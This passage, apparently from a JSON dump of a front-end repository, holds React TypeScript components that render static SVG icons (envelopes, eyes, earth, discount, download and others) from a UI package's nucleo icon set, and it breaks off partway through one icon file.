    "content": "import { SVGProps } from \"react\";\n\nexport function DiamondTurnRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"10 6.5 12.25 8.75 10 11\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.25,8.75h-3.5c-1.105,0-2,.895-2,2v.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"11.313\"\n          width=\"11.313\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(21.728 9) rotate(135)\"\n          x=\"3.343\"\n          y=\"3.343\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/directions.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Directions(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"1.75\"\n          y2=\"16.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"16.25\"\n          y2=\"16.25\"\n        />\n        <path\n          d=\"M9,6.25H3.884c-.247,0-.485-.091-.669-.257l-1.389-1.25c-.441-.397-.441-1.089,0-1.487l1.389-1.25c.184-.165,.422-.257,.669-.257h5.116\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.495,10.75h2.616c.247,0,.485-.091,.669-.257l1.389-1.25c.441-.397,.441-1.089,0-1.487l-1.389-1.25c-.184-.165-.422-.257-.669-.257h-2.616\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/discount.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Discount(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.718,8.293l-1.468-1.468v-2.075c0-.552-.448-1-1-1h-2.075l-1.468-1.468c-.391-.39-1.024-.39-1.414,0l-1.468,1.468h-2.075c-.552,0-1,.448-1,1v2.075l-1.468,1.468c-.391,.39-.391,1.024,0,1.414l1.468,1.468v2.075c0,.552,.448,1,1,1h2.075l1.468,1.468c.391,.39,1.024,.39,1.414,0l1.468-1.468h2.075c.552,0,1-.448,1-1v-2.075l1.468-1.468c.391-.39,.391-1.024,0-1.414Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"7\" cy=\"7\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"11\" cy=\"11\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.75\"\n          x2=\"11.25\"\n          y1=\"11.25\"\n          y2=\"6.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/dots.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Dots(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.25\"\n          cy=\"9\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14.75\"\n          cy=\"9\"\n          fill=\"currentColor\"\n          r=\".5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/download.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Download(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.25,11c-.414,0-.75,.336-.75,.75v1.5c0,.689-.561,1.25-1.25,1.25H4.75c-.689,0-1.25-.561-1.25-1.25v-1.5c0-.414-.336-.75-.75-.75s-.75,.336-.75,.75v1.5c0,1.517,1.233,2.75,2.75,2.75H13.25c1.517,0,2.75-1.233,2.75-2.75v-1.5c0-.414-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M8.47,10.78c.146,.146,.338,.22,.53,.22s.384-.073,.53-.22l3.5-3.5c.293-.293,.293-.768,0-1.061s-.768-.293-1.061,0l-2.22,2.22V2.75c0-.414-.336-.75-.75-.75s-.75,.336-.75,.75v5.689l-2.22-2.22c-.293-.293-.768-.293-1.061,0s-.293,.768,0,1.061l3.5,3.5Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/duplicate.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Duplicate(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"11\"\n          width=\"11\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"5.25\"\n          y=\"5.25\"\n        />\n        <path\n          d=\"M2.801,11.998L1.772,5.074c-.162-1.093,.592-2.11,1.684-2.272l6.924-1.029c.933-.139,1.81,.39,2.148,1.228\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/earth-position.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EarthPosition(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.771,9.887c-.044-.065-.855-1.323-.24-2.575,.067-.137,.484-.949,1.344-1.188,1.273-.353,2.203,.919,2.805,.535,.243-.155,.275-.478,.254-.873\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.771,9.887c1.589-.439,2.611-.224,3.292,.175,.939,.55,1.006,1.318,1.812,1.469,1.163,.218,1.844-1.227,2.875-1.031,.479,.091,1.062,.542,1.568,2.057\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.601,16.23c.148-.579,.234-1.343-.163-1.938-.423-.635-1.021-.517-1.422-1.182-.418-.694,.014-1.185-.297-2.047-.292-.809-.961-1.174-1.463-1.541-.836-.611-1.874-1.711-2.688-3.859\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.792,6.459c.296,.791,.458,1.647,.458,2.541,0,4.004-3.246,7.25-7.25,7.25S1.75,13.004,1.75,9C1.75,5.042,4.922,1.825,8.862,1.751\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"13.25\"\n          cy=\"2.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13.25\"\n          x2=\"13.25\"\n          y1=\"4.75\"\n          y2=\"7.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/earth.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Earth(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.771,9.887c-.044-.065-.855-1.323-.24-2.575,.067-.137,.484-.949,1.344-1.188,1.273-.353,2.203,.919,2.805,.535,.673-.429-.27-2.156,.507-3.129,.592-.741,1.896-.686,2.883-.531\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.771,9.887c1.589-.439,2.611-.224,3.292,.175,.939,.55,1.006,1.318,1.812,1.469,1.163,.218,1.844-1.227,2.875-1.031,.479,.091,1.062,.542,1.568,2.057\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.601,16.23c.148-.579,.234-1.343-.163-1.938-.423-.635-1.021-.517-1.422-1.182-.418-.694,.014-1.185-.297-2.047-.292-.809-.961-1.174-1.463-1.541-.836-.611-1.874-1.711-2.688-3.859\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-alert.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeAlert(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,5.75l6.767,3.733c.301,.166,.665,.166,.966,0l6.767-3.733\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25,9.898V5.25c0-1.104-.895-2-2-2H3.75c-1.105,0-2,.896-2,2v7.5c0,1.104,.895,2,2,2h3\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.5,16.75h.399c.795,0,1.272-.883,.836-1.548l-2.899-4.425c-.395-.603-1.278-.603-1.673,0l-2.899,4.425c-.436,.665,.041,1.548,.836,1.548h.399\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"13\"\n          x2=\"13\"\n          y1=\"13.25\"\n          y2=\"15.25\"\n        />\n        <circle cx=\"13\" cy=\"17.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-arrow-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeArrowRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,5.75l6.767,3.733c.301,.166,.665,.166,.966,0l6.767-3.733\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25,9.264V5.25c0-1.104-.895-2-2-2H3.75c-1.105,0-2,.896-2,2v7.5c0,1.104,.895,2,2,2h6.211\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"14.75 11.25 17.25 13.75 14.75 16.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"17.25\"\n          x2=\"12.25\"\n          y1=\"13.75\"\n          y2=\"13.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-ban.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeBan(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"14\"\n      viewBox=\"0 0 14 14\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_31261_84159)\">\n        <path\n          d=\"M1.36133 4.47217L6.62455 7.37561C6.85866 7.50472 7.14177 7.50472 7.37588 7.37561L12.6391 4.47217\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M12.6391 6.35442V4.08339C12.6391 3.22394 11.943 2.52783 11.0836 2.52783H2.91688C2.05744 2.52783 1.36133 3.22394 1.36133 4.08339V9.91672C1.36133 10.7762 2.05744 11.4723 2.91688 11.4723H6.0637\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M10.8891 13.4166C12.2852 13.4166 13.4169 12.285 13.4169 10.8889C13.4169 9.49275 12.2852 8.36108 10.8891 8.36108C9.49299 8.36108 8.36133 9.49275 8.36133 10.8889C8.36133 12.285 9.49299 13.4166 10.8891 13.4166Z\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M9.10156 12.6762L12.6716 9.1062\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_31261_84159\">\n          <rect width=\"14\" height=\"14\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"14\"\n      viewBox=\"0 0 14 14\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_31261_84148)\">\n        <path\n          d=\"M1.36133 4.47217L6.62455 7.37561C6.85866 7.50472 7.14177 7.50472 7.37588 7.37561L12.6391 4.47217\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M12.6391 6.35372V4.08339C12.6391 3.22472 11.943 2.52783 11.0836 2.52783H2.91688C2.05744 2.52783 1.36133 3.22472 1.36133 4.08339V9.91672C1.36133 10.7754 2.05744 11.4723 2.91688 11.4723H6.063\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M10.8894 7.77783C9.17358 7.77783 7.77832 9.17348 7.77832 10.8889C7.77832 12.6044 9.17358 14.0001 10.8894 14.0001C12.6053 14.0001 14.0005 12.6044 14.0005 10.8889C14.0005 9.17348 12.6053 7.77783 10.8894 7.77783ZM12.6842 10.3072L10.9342 12.2516C10.8271 12.3705 10.676 12.44 10.5157 12.4442C10.5104 12.4446 10.5058 12.4446 10.5005 12.4446C10.3464 12.4446 10.1975 12.3834 10.0881 12.2737L9.11586 11.3015C8.88798 11.0736 8.88798 10.7045 9.11586 10.4766C9.34375 10.2488 9.71289 10.2488 9.9407 10.4766L10.4785 11.014L11.8168 9.52643C12.0332 9.28797 12.4009 9.26821 12.6409 9.48311C12.8802 9.69879 12.8999 10.0675 12.6842 10.3072Z\"\n          fill=\"#737373\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_31261_84148\">\n          <rect width=\"14\" height=\"14\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M8.88,8.827c.074,.042,.166,.042,.24,0l7.777-4.283c-.314-1.173-1.376-2.044-2.647-2.044H3.75c-1.267,0-2.326,.865-2.643,2.033l7.773,4.293Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M9.845,10.14c-.264,.146-.554,.219-.844,.219s-.582-.073-.846-.22L1,6.188v6.562c0,1.517,1.233,2.75,2.75,2.75H14.25c1.517,0,2.75-1.233,2.75-2.75V6.2l-7.155,3.94Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope-open.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EnvelopeOpen(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"14\"\n      viewBox=\"0 0 14 14\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M1.36133 5.25012C1.36133 4.6839 1.66933 4.19156 2.16555 3.91778L6.62455 1.45767C6.85866 1.32856 7.14177 1.32856 7.37588 1.45767L11.8349 3.91778C12.3311 4.19156 12.6391 4.68312 12.6391 5.25012\"\n        stroke=\"#737373\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M12.6391 5.25311V10.3056C12.6391 11.165 11.943 11.8611 11.0836 11.8611H2.91688C2.05744 11.8611 1.36133 11.165 1.36133 10.3056V5.25L6.66188 7.80889C6.87577 7.91233 7.12466 7.91233 7.33777 7.80889L12.6383 5.25L12.6391 5.25311Z\"\n        stroke=\"#737373\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/envelope.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Envelope(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M1.75,5.75l6.767,3.733c.301,.166,.665,.166,.966,0l6.767-3.733\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"11.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 18) rotate(180)\"\n          x=\"1.75\"\n          y=\"3.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/eye-slash.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function EyeSlash(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.938,6.597c.401,.45,.725,.891,.974,1.27,.45,.683,.45,1.582,0,2.265-1.018,1.543-3.262,4.118-6.912,4.118-.549,0-1.066-.058-1.552-.162\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M4.956,13.044c-1.356-.876-2.302-2.053-2.868-2.912-.45-.683-.45-1.582,0-2.265,1.018-1.543,3.262-4.118,6.912-4.118,1.62,0,2.963,.507,4.044,1.206\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.579,9.956c-.278,.75-.873,1.345-1.623,1.623\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M7.055,10.945c-.498-.498-.805-1.185-.805-1.945,0-1.519,1.231-2.75,2.75-2.75,.759,0,1.447,.308,1.945,.805\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2\"\n          x2=\"16\"\n          y1=\"16\"\n          y2=\"2\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/eye.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Eye(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M2.088,10.132c-.45-.683-.45-1.582,0-2.265,1.018-1.543,3.262-4.118,6.912-4.118s5.895,2.574,6.912,4.118c.45,.683,.45,1.582,0,2.265-1.018,1.543-3.262,4.118-6.912,4.118s-5.895-2.574-6.912-4.118Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/face-smile.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FaceSmile(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle cx=\"7\" cy=\"8\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <circle cx=\"11\" cy=\"8\" fill=\"currentColor\" r=\"1\" stroke=\"none\" />\n        <path\n          d=\"M12.749,11c-.717,1.338-2.128,2.25-3.749,2.25s-3.033-.912-3.749-2.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/feather-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FeatherFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M12.259,10.858c-.36,0-.755-.023-1.192-.069-.412-.043-.71-.413-.667-.825,.043-.412,.409-.711,.825-.667,1.405,.149,2.158,.017,2.695-.311,.502-.418,.899-.998,1.116-1.831,.139-.612,.228-1.204,.313-1.776,.135-.901,.262-1.751,.551-2.256,.139-.242,.132-.542-.019-.777-.15-.235-.417-.373-.697-.343C3.521,3.023,2.019,15.044,2.005,15.165c-.047,.411,.248,.782,.659,.83,.029,.003,.058,.005,.087,.005,.375,0,.7-.282,.744-.664,.017-.143,.174-1.323,.711-2.88,.81,.363,1.612,.523,1.659,.531,.854,.156,1.643,.234,2.367,.234,1.507,0,2.73-.338,3.65-1.01,.506-.37,.898-.847,1.198-1.406-.254,.031-.522,.052-.822,.052Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/file-content.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FileContent(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"7.75\"\n          y1=\"6.75\"\n          y2=\"6.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"9.75\"\n          y2=\"9.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"12.25\"\n          y1=\"12.75\"\n          y2=\"12.75\"\n        />\n        <path\n          